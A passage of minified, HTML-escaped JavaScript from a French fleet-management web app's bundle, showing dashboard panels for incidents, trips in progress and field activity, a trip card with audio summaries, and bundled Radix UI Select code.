min-h-0&quot;,children:a.jsxs(ul,{defaultValue:&quot;non-assignes&quot;,className:&quot;w-full&quot;,children:[a.jsxs(Ro,{className:&quot;grid w-full grid-cols-2 mb-2&quot;,children:[a.jsxs(hn,{value:&quot;non-assignes&quot;,className:&quot;text-xs&quot;,children:[a.jsx(Bse,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Non assignés&quot;]}),a.jsxs(hn,{value:&quot;a-suivre&quot;,className:&quot;text-xs&quot;,children:[a.jsx(LD,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;À suivre&quot;]})]}),a.jsx(dn,{value:&quot;non-assignes&quot;,className:&quot;mt-0&quot;,children:o?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Chargement...&quot;}):v.incidentsNonAssignes.length===0?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Aucun incident non assigné&quot;}):a.jsx(&quot;ul&quot;,{className:&quot;space-y-1.5&quot;,children:v.incidentsNonAssignes.map(C=&gt;{const Q={roue:&quot;Roue&quot;,electricite:&quot;Électricité&quot;,moteur:&quot;Moteur&quot;,frein:&quot;Frein&quot;,autre:&quot;Autre&quot;},R=kI(new Date(C.createdAt),{addSuffix:!0,locale:Hr});return a.jsxs(&quot;li&quot;,{className:&quot;flex items-start justify-between gap-2 p-1.5 rounded-md border bg-card hover:bg-accent/50 transition-colors&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-0.5&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:Q[C.type]||C.type}),C.voyage?.code&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[&quot;(&quot;,C.voyage.code,&quot;)&quot;]})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:R})]}),a.jsxs(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;h-7 px-2 text-xs flex-shrink-0&quot;,onClick:()=&gt;e(&quot;/incidents&quot;),children:[a.jsx(Id,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Voir&quot;]})]},C.id)})})}),a.jsx(dn,{value:&quot;a-suivre&quot;,className:&quot;mt-0&quot;,children:o?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Chargement...&quot;}):v.incidentsASuivre.length===0?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Aucun incident à suivre&quot;}):a.jsx(&quot;ul&quot;,{className:&quot;space-y-1.5&quot;,children:v.incidentsASuivre.map(C=&gt;{const Q={roue:&quot;Roue&quot;,electricite:&quot;Électricité&quot;,moteur:&quot;Moteur&quot;,frein:&quot;Frein&quot;,autre:&quot;Autre&quot;},R={ouvert:&quot;Ouvert&quot;,en_cours:&quot;En cours&quot;,resolu:&quot;Résolu&quot;,ferme:&quot;Fermé&quot;},T=kI(new Date(C.createdAt),{addSuffix:!0,locale:Hr});return a.jsxs(&quot;li&quot;,{className:&quot;flex items-start justify-between gap-2 p-1.5 rounded-md border bg-card hover:bg-accent/50 transition-colors&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-0.5&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:Q[C.type]||C.type}),a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:R[C.status]||C.status})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:T})]}),a.jsxs(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;h-7 px-2 text-xs flex-shrink-0&quot;,onClick:()=&gt;e(&quot;/incidents&quot;),children:[a.jsx(Id,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Voir&quot;]})]},C.id)})})})]})}),a.jsx(_m,{className:&quot;flex-shrink-0 border-t pt-3&quot;,children:a.jsxs(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;w-full text-xs&quot;,onClick:()=&gt;e(&quot;/incidents&quot;),children:[&quot;Voir tous les incidents&quot;,a.jsx(Id,{className:&quot;h-3 w-3 ml-2&quot;})]})})]})]}),a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-5 w-5&quot;}),&quot;Voyages en cours (Top 10)&quot;]}),a.jsx(wn,{children:&quot;Liste des voyages actuellement en cours&quot;})]}),a.jsx(Et,{children:r?a.jsx(&quot;div&quot;,{className:&quot;text-center py-8 text-muted-foreground&quot;,children:a.jsx(&quot;p&quot;,{children:&quot;Chargement...&quot;})}):w.length===0?a.jsx(&quot;div&quot;,{className:&quot;text-center py-8 text-muted-foreground&quot;,children:a.jsx(&quot;p&quot;,{children:&quot;Aucun voyage en cours&quot;})}):a.jsxs(nx,{children:[a.jsx(ix,{children:a.jsxs(n0,{children:[a.jsx(bi,{children:&quot;Référence&quot;}),a.jsx(bi,{children:&quot;Véhicule&quot;}),a.jsx(bi,{children:&quot;Chauffeur&quot;}),a.jsx(bi,{children:&quot;Destination&quot;}),a.jsx(bi,{children:&quot;Statut&quot;}),a.jsx(bi,{children:&quot;Départ&quot;}),a.jsx(bi,{className:&quot;text-right&quot;,children:&quot;Actions&quot;})]})}),a.jsx(ax,{children:w.map(C=&gt;{const Q=j.get(C.id)||0,R=C.vehicle?.immatriculation||C.vehicle?.nom||&quot;—&quot;,T=C.mainDriver?`${C.mainDriver.prenom} ${C.mainDriver.nom}`:&quot;—&quot;,M=C.unloadingSite||&quot;—&quot;,O=C.startAt?new Date(C.startAt):null;return a.jsxs(n0,{children:[a.jsx(mi,{className:&quot;font-medium&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(&quot;span&quot;,{children:C.code||C.title||`Voyage #${C.id}`}),Q&gt;0&amp;&amp;a.jsxs(yt,{variant:&quot;destructive&quot;,className:&quot;text-xs&quot;,children:[&quot;⚠ Incidents (&quot;,Q,&quot;)&quot;]})]})}),a.jsx(mi,{children:R}),a.jsx(mi,{children:T}),a.jsx(mi,{children:M}),a.jsx(mi,{children:a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-yellow-100 text-yellow-800 border-yellow-300 dark:bg-yellow-900 dark:text-yellow-300&quot;,children:&quot;En cours&quot;})}),a.jsx(mi,{children:O?Wr(O,&quot;dd MMM yyyy à HH:mm&quot;,{locale:Hr}):&quot;—&quot;}),a.jsx(mi,{className:&quot;text-right&quot;,children:a.jsxs(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;h-7 px-2 text-xs&quot;,onClick:()=&gt;e(`/voyages/${C.id}`),children:[a.jsx(Id,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Voir&quot;]})})]},C.id)})})]})})]}),a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(nse,{className:&quot;h-5 w-5&quot;}),&quot;Activité terrain&quot;]}),a.jsx(wn,{children:&quot;Les 10 derniers événements enregistrés sur le terrain&quot;})]}),a.jsxs(Et,{children:[p.some(C=&gt;C.isLoading)?a.jsx(&quot;div&quot;,{className:&quot;text-center py-8 text-muted-foreground&quot;,children:a.jsx(&quot;p&quot;,{children:&quot;Chargement...&quot;})}):S.length===0?a.jsx(&quot;div&quot;,{className:&quot;text-center py-8 text-muted-foreground&quot;,children:a.jsx(&quot;p&quot;,{children:&quot;Aucun événement récent&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:S.map(C=&gt;{const Q=E.get(C.voyageId),R=Q?.code||Q?.title||`Voyage #${C.voyageId}`,T=kI(new Date(C.occurredAt),{addSuffix:!0,locale:Hr}),M=C.title||(C.type===&quot;note&quot;?&quot;Note&quot;:C.type===&quot;incident&quot;?&quot;Incident&quot;:C.type===&quot;media&quot;?C.mediaKind===&quot;photo&quot;?&quot;Photo&quot;:C.mediaKind===&quot;audio&quot;?&quot;Audio&quot;:C.mediaKind===&quot;video&quot;?&quot;Vidéo&quot;:&quot;Média&quot;:C.type===&quot;message&quot;?&quot;Message&quot;:&quot;Événement&quot;),O=C.source===&quot;driver_pwa&quot;?&quot;Chauffeur&quot;:C.source===&quot;backoffice&quot;?&quot;Bureau&quot;:C.senderRole===&quot;chauffeur&quot;?&quot;Chauffeur&quot;:C.senderRole===&quot;backoffice&quot;?&quot;Bureau&quot;:&quot;Système&quot;;return a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-3 p-2 rounded-md border bg-card hover:bg-accent/50 transition-colors&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-1&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:M}),!C.isRead&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-blue-100 text-blue-700 border-blue-300 dark:bg-blue-900 dark:text-blue-300&quot;,children:&quot;Non lu&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-xs text-muted-foreground&quot;,children:[a.jsx(&quot;span&quot;,{children:R}),a.jsx(&quot;span&quot;,{children:&quot;•&quot;}),a.jsx(&quot;span&quot;,{children:O}),a.jsx(&quot;span&quot;,{children:&quot;•&quot;}),a.jsx(&quot;span&quot;,{children:T})]}),C.description&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1 line-clamp-2&quot;,children:C.description})]}),a.jsxs(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;h-7 px-2 text-xs flex-shrink-0&quot;,onClick:()=&gt;e(C.voyageId?`/voyages/${C.voyageId}`:&quot;/voyages&quot;),children:[a.jsx(Id,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Ouvrir&quot;]})]},C.id)})}),S.length&gt;0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;mt-4 pt-3 border-t&quot;,children:a.jsxs(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;w-full text-xs&quot;,onClick:()=&gt;e(&quot;/voyages&quot;),children:[&quot;Voir tous les voyages&quot;,a.jsx(Id,{className:&quot;h-3 w-3 ml-2&quot;})]})})]})]})]})}async function T8(e){const t=e?`/api/breakdowns?vehicleId=${e}`:&quot;/api/breakdowns&quot;;return await $t(t)}async function GPe(e,t){return await $t(`/api/breakdowns/${e}/respond`,{method:&quot;POST&quot;,body:t})}const gm={success:{bg:&quot;bg-green-500&quot;,text:&quot;text-green-900&quot;,border:&quot;border-green-600&quot;,badge:&quot;bg-green-100 text-green-800 border-green-300&quot;},warning:{bg:&quot;bg-orange-500&quot;,text:&quot;text-orange-900&quot;,border:&quot;border-orange-600&quot;,badge:&quot;bg-orange-100 text-orange-800 border-orange-300&quot;},info:{bg:&quot;bg-blue-500&quot;,text:&quot;text-blue-900&quot;,border:&quot;border-blue-600&quot;,badge:&quot;bg-blue-100 text-blue-800 border-blue-300&quot;},danger:{bg:&quot;bg-red-500&quot;,text:&quot;text-red-900&quot;,border:&quot;border-red-600&quot;,badge:&quot;bg-red-100 text-red-800 border-red-300&quot;}},Ww={chauffeur:{bg:&quot;bg-purple-500&quot;,text:&quot;text-purple-900&quot;,badge:&quot;bg-purple-100 text-purple-800 border-purple-300&quot;},apprenti:{bg:&quot;bg-blue-500&quot;,text:&quot;text-blue-900&quot;,badge:&quot;bg-blue-100 text-blue-800 border-blue-300&quot;},mecanique:{bg:&quot;bg-orange-500&quot;,text:&quot;text-orange-900&quot;,badge:&quot;bg-orange-100 text-orange-800 border-orange-300&quot;},superviseur:{bg:&quot;bg-green-500&quot;,text:&quot;text-green-900&quot;,badge:&quot;bg-green-100 text-green-800 border-green-300&quot;}},VPe={completed:{label:&quot;Terminé&quot;,color:gm.success,icon:&quot;✓&quot;},in_transit:{label:&quot;En cours&quot;,color:gm.warning,icon:&quot;🔄&quot;},scheduled:{label:&quot;Programmé&quot;,color:gm.info,icon:&quot;⏳&quot;},cancelled:{label:&quot;Annulé&quot;,color:gm.danger,icon:&quot;✕&quot;}},zA={vidange:&quot;🛢️&quot;,pneus:&quot;🛞&quot;,filtres:&quot;🔧&quot;,liquide_frein:&quot;🛑&quot;,adblue:&quot;💧&quot;,autre:&quot;⚙️&quot;},$A={&quot;Problème moteur&quot;:&quot;🔥&quot;,&quot;Panne moteur&quot;:&quot;🔥&quot;,&quot;Problème électrique&quot;:&quot;⚡&quot;,&quot;Pneu crevé&quot;:&quot;🛞&quot;,Pneu:&quot;🛞&quot;,Surchauffe:&quot;🌡️&quot;,Carburant:&quot;⛽&quot;,&quot;Panne sèche&quot;:&quot;⛽&quot;,Autre:&quot;⚠️&quot;},tf={plateau:&quot;https://picsum.photos/seed/plateau/400/250&quot;,benne:&quot;https://picsum.photos/seed/benne/400/250&quot;,citerne:&quot;https://picsum.photos/seed/citerne/400/250&quot;,frigorifique:&quot;https://picsum.photos/seed/frigorifique/400/250&quot;,autre:&quot;https://picsum.photos/seed/remorque/400/250&quot;};function R8({status:e,label:t,showIcon:r=!0,size:n=&quot;md&quot;}){const i=VPe[e];let s,o;i?(s=i,e===&quot;completed&quot;?o=na:e===&quot;in_transit&quot;?o=Bl:e===&quot;scheduled&quot;?o=Sl:o=Kn):e===&quot;actif&quot;||e===&quot;completed&quot;?(s={label:t||&quot;OK&quot;,color:gm.success,icon:&quot;✓&quot;},o=na):e===&quot;maintenance&quot;||e===&quot;in_transit&quot;?(s={label:t||&quot;En cours&quot;,color:gm.warning,icon:&quot;🔄&quot;},o=Bl):e===&quot;scheduled&quot;?(s={label:t||&quot;Programmé&quot;,color:gm.info,icon:&quot;⏳&quot;},o=Sl):(s={label:t||&quot;Problème&quot;,color:gm.danger,icon:&quot;⚠️&quot;},o=Kn);const l={sm:&quot;text-xs px-2 py-0.5&quot;,md:&quot;text-sm px-3 py-1&quot;,lg:&quot;text-base px-4 py-1.5&quot;},c={sm:&quot;h-3 w-3&quot;,md:&quot;h-4 w-4&quot;,lg:&quot;h-5 w-5&quot;};return a.jsxs(yt,{variant:&quot;secondary&quot;,className:`${s.color.badge} border font-semibold ${l[n]} flex items-center gap-1.5`,children:[r&amp;&amp;o&amp;&amp;a.jsx(o,{className:c[n]}),s.label]})}function WPe(){return{playCardSummary:t=&gt;{let r=&quot;&quot;;switch(t.type){case&quot;vehicle&quot;:r=t.details?.nom?`Véhicule ${t.details.nom}`:`Véhicule ${t.title}`,t.details?.couleur&amp;&amp;(r+=`. Couleur: ${t.details.couleur}`),t.details?.immatriculation&amp;&amp;(r+=`. Immatriculation: ${t.details.immatriculation}`),t.details?.marque&amp;&amp;(r+=`. Marque: ${t.details.marque}`),t.details?.modele&amp;&amp;(r+=`. Modèle: ${t.details.modele}`),t.details?.annee&amp;&amp;(r+=`. Année: ${t.details.annee}`),t.details?.status&amp;&amp;(r+=`. Statut: ${t.details.status}`);break;case&quot;trailer&quot;:r=`Remorque ${t.title}`,t.details?.capacite&amp;&amp;(r+=`. Capacité: ${t.details.capacite} tonnes`);break;case&quot;crew&quot;:r=`${t.title}`,t.details?.role&amp;&amp;(r+=`. Rôle: ${t.details.role}`),t.details?.telephone&amp;&amp;(r+=`. Téléphone: ${t.details.telephone}`);break;case&quot;maintenance&quot;:r=`Entretien: ${t.title}`,t.details?.type&amp;&amp;(r+=`. Type: ${t.details.type}`),t.details?.date&amp;&amp;(r+=`. Date: ${t.details.date}`),t.details?.cout&amp;&amp;(r+=`. Coût: ${t.details.cout} FCFA`);break;case&quot;breakdown&quot;:r=`Panne: ${t.title}`,t.details?.type&amp;&amp;(r+=`. Type: ${t.details.type}`),t.details?.date&amp;&amp;(r+=`. Date: ${t.details.date}`),t.details?.lieu&amp;&amp;(r+=`. Lieu: ${t.details.lieu}`),t.details?.cout&amp;&amp;(r+=`. Coût: ${t.details.cout} FCFA`);break;case&quot;trip&quot;:r=`Voyage: ${t.title}`,t.details?.origine&amp;&amp;(r+=`. De: ${t.details.origine}`),t.details?.destination&amp;&amp;(r+=`. Vers: ${t.details.destination}`),t.details?.status&amp;&amp;(r+=`. Statut: ${t.details.status}`),t.details?.chauffeur&amp;&amp;(r+=`. Chauffeur: ${t.details.chauffeur}`);break}if(&quot;speechSynthesis&quot;in window){const n=new SpeechSynthesisUtterance(r);n.lang=&quot;fr-FR&quot;,n.rate=.9,n.pitch=1,speechSynthesis.speak(n)}else alert(r)}}}function N1({cardData:e,size:t=&quot;sm&quot;,className:r=&quot;&quot;}){const{playCardSummary:n}=WPe(),i={sm:&quot;h-8 w-8&quot;,md:&quot;h-10 w-10&quot;,lg:&quot;h-12 w-12&quot;},s={sm:&quot;h-4 w-4&quot;,md:&quot;h-5 w-5&quot;,lg:&quot;h-6 w-6&quot;};return a.jsx(vm,{children:a.jsxs(iy,{children:[a.jsx(ay,{asChild:!0,children:a.jsx(ge,{size:&quot;icon&quot;,variant:&quot;ghost&quot;,className:`${i[t]} ${r}`,onClick:()=&gt;n(e),&quot;aria-label&quot;:&quot;Lire la description audio&quot;,children:a.jsx(z6,{className:s[t]})})}),a.jsx(V1,{children:a.jsx(&quot;p&quot;,{children:&quot;Lire la description audio&quot;})})]})})}function KPe({id:e,vehicleRegistration:t,origine:r,destination:n,dateDepart:i,dateArrivee:s,status:o=&quot;scheduled&quot;,vehiclePhotoUrl:l,driverPhotoUrl:c,driverName:d,onEdit:u,onDelete:h,hasBreakdown:p=!1}){return a.jsxs(it,{&quot;data-testid&quot;:`card-trip-${e}`,className:&quot;hover-elevate&quot;,children:[a.jsxs(jm,{href:`/trajets/${e}`,className:&quot;block&quot;,children:[a.jsx(br,{className:&quot;space-y-3 pb-4 cursor-pointer&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-2&quot;,children:&quot;Véhicule&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[l?a.jsx(&quot;img&quot;,{src:l,alt:t,className:&quot;w-12 h-12 object-cover rounded-lg border flex-shrink-0&quot;,onError:A=&gt;{A.target.style.display=&quot;none&quot;}}):a.jsx(&quot;div&quot;,{className:&quot;w-12 h-12 bg-muted rounded-lg flex items-center justify-center border flex-shrink-0&quot;,children:a.jsx(Fa,{className:&quot;h-6 w-6 text-muted-foreground&quot;})}),a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-base&quot;,&quot;data-testid&quot;:`text-vehicle-${e}`,children:t})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[c&amp;&amp;d&amp;&amp;a.jsx(vm,{children:a.jsxs(iy,{children:[a.jsx(ay,{asChild:!0,children:a.jsx(&quot;div&quot;,{className:&quot;w-10 h-10 rounded-full overflow-hidden border-2 border-border shadow-sm cursor-help&quot;,children:a.jsx(&quot;img&quot;,{src:c,alt:d,className:&quot;w-full h-full object-cover&quot;,onError:A=&gt;{A.target.style.display=&quot;none&quot;}})})}),a.jsx(V1,{children:a.jsxs(&quot;p&quot;,{children:[&quot;Chauffeur : &quot;,d]})})]})}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-1.5 items-end&quot;,children:[a.jsx(&quot;div&quot;,{&quot;data-testid&quot;:`badge-status-${e}`,children:a.jsx(R8,{status:o,size:&quot;sm&quot;})}),p&amp;&amp;a.jsxs(yt,{variant:&quot;destructive&quot;,className:&quot;text-xs px-2 py-1 border shadow-md flex items-center gap-1&quot;,children:[a.jsx(uv,{className:&quot;h-3 w-3&quot;}),&quot;Panne&quot;]})]}),a.jsx(N1,{cardData:{type:&quot;trip&quot;,title:t,details:{origine:r,destination:n,status:o,chauffeur:d,dateDepart:i&amp;&amp;!isNaN(i.getTime())?Wr(i,&quot;dd MMM yyyy HH:mm&quot;,{locale:Hr}):&quot;Date invalide&quot;,dateArrivee:s&amp;&amp;!isNaN(s.getTime())?Wr(s,&quot;dd MMM yyyy HH:mm&quot;,{locale:Hr}):void 0}},size:&quot;sm&quot;})]})]})}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3&quot;,children:[a.jsx(ei,{className:&quot;h-5 w-5 mt-0.5 text-primary flex-shrink-0&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold truncate&quot;,&quot;data-testid&quot;:`text-origin-${e}`,children:r}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground my-1&quot;,children:&quot;→&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold truncate&quot;,&quot;data-testid&quot;:`text-destination-${e}`,children:n})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3&quot;,children:[a.jsx(Sl,{className:&quot;h-5 w-5 mt-0.5 text-primary flex-shrink-0&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 text-sm&quot;,children:[a.jsxs(&quot;p&quot;,{&quot;data-testid&quot;:`text-departure-${e}`,className:&quot;mb-1&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Départ:&quot;}),&quot; &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:i&amp;&amp;!isNaN(i.getTime())?Wr(i,&quot;dd MMM yyyy HH:mm&quot;,{locale:Hr}):&quot;Date invalide&quot;})]}),s&amp;&amp;a.jsxs(&quot;p&quot;,{&quot;data-testid&quot;:`text-arrival-${e}`,children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Arrivée:&quot;}),&quot; &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:s&amp;&amp;!isNaN(s.getTime())?Wr(s,&quot;dd MMM yyyy HH:mm&quot;,{locale:Hr}):&quot;Date invalide&quot;})]})]})]})]})]}),(u||h)&amp;&amp;a.jsxs(_m,{className:&quot;gap-2 pt-4 border-t flex-wrap&quot;,children:[u&amp;&amp;a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;outline&quot;,onClick:A=&gt;{A.preventDefault(),A.stopPropagation(),u(e)},&quot;data-testid&quot;:`button-edit-${e}`,className:&quot;flex-1 min-w-[100px] h-10&quot;,children:[a.jsx(z1,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Modifier&quot;]}),h&amp;&amp;a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;outline&quot;,onClick:A=&gt;{A.preventDefault(),A.stopPropagation(),h(e)},&quot;data-testid&quot;:`button-delete-${e}`,className:&quot;flex-1 min-w-[100px] h-10 text-destructive hover:text-destructive&quot;,children:[a.jsx(Ns,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer&quot;]})]})]})}function NF(e,[t,r]){return Math.min(r,Math.max(t,e))}function YPe(e){const t=ZPe(e),r=I.forwardRef((n,i)=&gt;{const{children:s,...o}=n,l=I.Children.toArray(s),c=l.find(XPe);if(c){const d=c.props.children,u=l.map(h=&gt;h===c?I.Children.count(d)&gt;1?I.Children.only(null):I.isValidElement(d)?d.props.children:null:h);return a.jsx(t,{...o,ref:i,children:I.isValidElement(d)?I.cloneElement(d,void 0,u):null})}return a.jsx(t,{...o,ref:i,children:s})});return r.displayName=`${e}.Slot`,r}function ZPe(e){const t=I.forwardRef((r,n)=&gt;{const{children:i,...s}=r;if(I.isValidElement(i)){const o=tQe(i),l=eQe(s,i.props);return i.type!==I.Fragment&amp;&amp;(l.ref=n?rh(n,o):o),I.cloneElement(i,l)}return I.Children.count(i)&gt;1?I.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var JPe=Symbol(&quot;radix.slottable&quot;);function XPe(e){return I.isValidElement(e)&amp;&amp;typeof e.type==&quot;function&quot;&amp;&amp;&quot;__radixId&quot;in e.type&amp;&amp;e.type.__radixId===JPe}function eQe(e,t){const r={...t};for(const n in t){const i=e[n],s=t[n];/^on[A-Z]/.test(n)?i&amp;&amp;s?r[n]=(...l)=&gt;{const c=s(...l);return i(...l),c}:i&amp;&amp;(r[n]=i):n===&quot;style&quot;?r[n]={...i,...s}:n===&quot;className&quot;&amp;&amp;(r[n]=[i,s].filter(Boolean).join(&quot; &quot;))}return{...e,...r}}function tQe(e){let t=Object.getOwnPropertyDescriptor(e.props,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning;return r?e.ref:(t=Object.getOwnPropertyDescriptor(e,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning,r?e.props.ref:e.props.ref||e.ref)}function hY(e){const t=I.useRef({value:e,previous:e});return I.useMemo(()=&gt;(t.current.value!==e&amp;&amp;(t.current.previous=t.current.value,t.current.value=e),t.current.previous),[e])}var rQe=[&quot; &quot;,&quot;Enter&quot;,&quot;ArrowUp&quot;,&quot;ArrowDown&quot;],nQe=[&quot; &quot;,&quot;Enter&quot;],Ig=&quot;Select&quot;,[OE,LE,iQe]=Kv(Ig),[sx]=Sc(Ig,[iQe,G1]),ME=G1(),[aQe,Jm]=sx(Ig),[sQe,oQe]=sx(Ig),mY=e=&gt;{const{__scopeSelect:t,children:r,open:n,defaultOpen:i,onOpenChange:s,value:o,defaultValue:l,onValueChange:c,dir:d,name:u,autoComplete:h,disabled:p,required:A,form:y}=e,v=ME(t),[w,j]=I.useState(null),[E,S]=I.useState(null),[_,C]=I.useState(!1),Q=my(d),[R,T]=a0({prop:n,defaultProp:i??!1,onChange:s,caller:Ig}),[M,O]=a0({prop:o,defaultProp:l,onChange:c,caller:Ig}),$=I.useRef(null),P=w?y||!!w.closest(&quot;form&quot;):!0,[L,X]=I.useState(new Set),W=Array.from(L).map(G=&gt;G.props.value).join(&quot;;&quot;);return a.jsx(J6,{...v,children:a.jsxs(aQe,{required:A,scope:t,trigger:w,onTriggerChange:j,valueNode:E,onValueNodeChange:S,valueNodeHasChildren:_,onValueNodeHasChildrenChange:C,contentId:su(),value:M,onValueChange:O,open:R,onOpenChange:T,dir:Q,triggerPointerDownPosRef:$,disabled:p,children:[a.jsx(OE.Provider,{scope:t,children:a.jsx(sQe,{scope:e.__scopeSelect,onNativeOptionAdd:I.useCallback(G=&gt;{X(J=&gt;new Set(J).add(G))},[]),onNativeOptionRemove:I.useCallback(G=&gt;{X(J=&gt;{const q=new Set(J);return q.delete(G),q})},[]),children:r})}),P?a.jsxs(OY,{&quot;aria-hidden&quot;:!0,required:A,tabIndex:-1,name:u,autoComplete:h,value:M,onChange:G=&gt;O(G.target.value),disabled:p,form:y,children:[M===void 0?a.jsx(&quot;option&quot;,{value:&quot;&quot;}):null,Array.from(L)]},W):null]})})};mY.displayName=Ig;var pY=&quot;SelectTrigger&quot;,gY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,disabled:n=!1,...i}=e,s=ME(r),o=Jm(pY,r),l=o.disabled||n,c=ri(t,o.onTriggerChange),d=LE(r),u=I.useRef(&quot;touch&quot;),[h,p,A]=MY(v=&gt;{const w=d().filter(S=&gt;!S.disabled),j=w.find(S=&gt;S.value===o.value),E=UY(w,v,j);E!==void 0&amp;&amp;o.onValueChange(E.value)}),y=v=&gt;{l||(o.onOpenChange(!0),A()),v&amp;&amp;(o.triggerPointerDownPosRef.current={x:Math.round(v.pageX),y:Math.round(v.pageY)})};return a.jsx(X6,{asChild:!0,...s,children:a.jsx(an.button,{type:&quot;button&quot;,role:&quot;combobox&quot;,&quot;aria-controls&quot;:o.contentId,&quot;aria-expanded&quot;:o.open,&quot;aria-required&quot;:o.required,&quot;aria-autocomplete&quot;:&quot;none&quot;,dir:o.dir,&quot;data-state&quot;:o.open?&quot;open&quot;:&quot;closed&quot;,disabled:l,&quot;data-disabled&quot;:l?&quot;&quot;:void 0,&quot;data-placeholder&quot;:LY(o.value)?&quot;&quot;:void 0,...i,ref:c,onClick:yr(i.onClick,v=&gt;{v.currentTarget.focus(),u.current!==&quot;mouse&quot;&amp;&amp;y(v)}),onPointerDown:yr(i.onPointerDown,v=&gt;{u.current=v.pointerType;const w=v.target;w.hasPointerCapture(v.pointerId)&amp;&amp;w.releasePointerCapture(v.pointerId),v.button===0&amp;&amp;v.ctrlKey===!1&amp;&amp;v.pointerType===&quot;mouse&quot;&amp;&amp;(y(v),v.preventDefault())}),onKeyDown:yr(i.onKeyDown,v=&gt;{const w=h.current!==&quot;&quot;;!(v.ctrlKey||v.altKey||v.metaKey)&amp;&amp;v.key.length===1&amp;&amp;p(v.key),!(w&amp;&amp;v.key===&quot; &quot;)&amp;&amp;rQe.includes(v.key)&amp;&amp;(y(),v.preventDefault())})})})});gY.displayName=pY;var AY=&quot;SelectValue&quot;,xY=I.forwardRef((e,t)=&gt;{const{__scopeSelect:r,className:n,style:i,children:s,placeholder:o=&quot;&quot;,...l}=e,c=Jm(AY,r),{onValueNodeHasChildrenChange:d}=c,u=s!==void 0,h=ri(t,c.onValueNodeChange);return 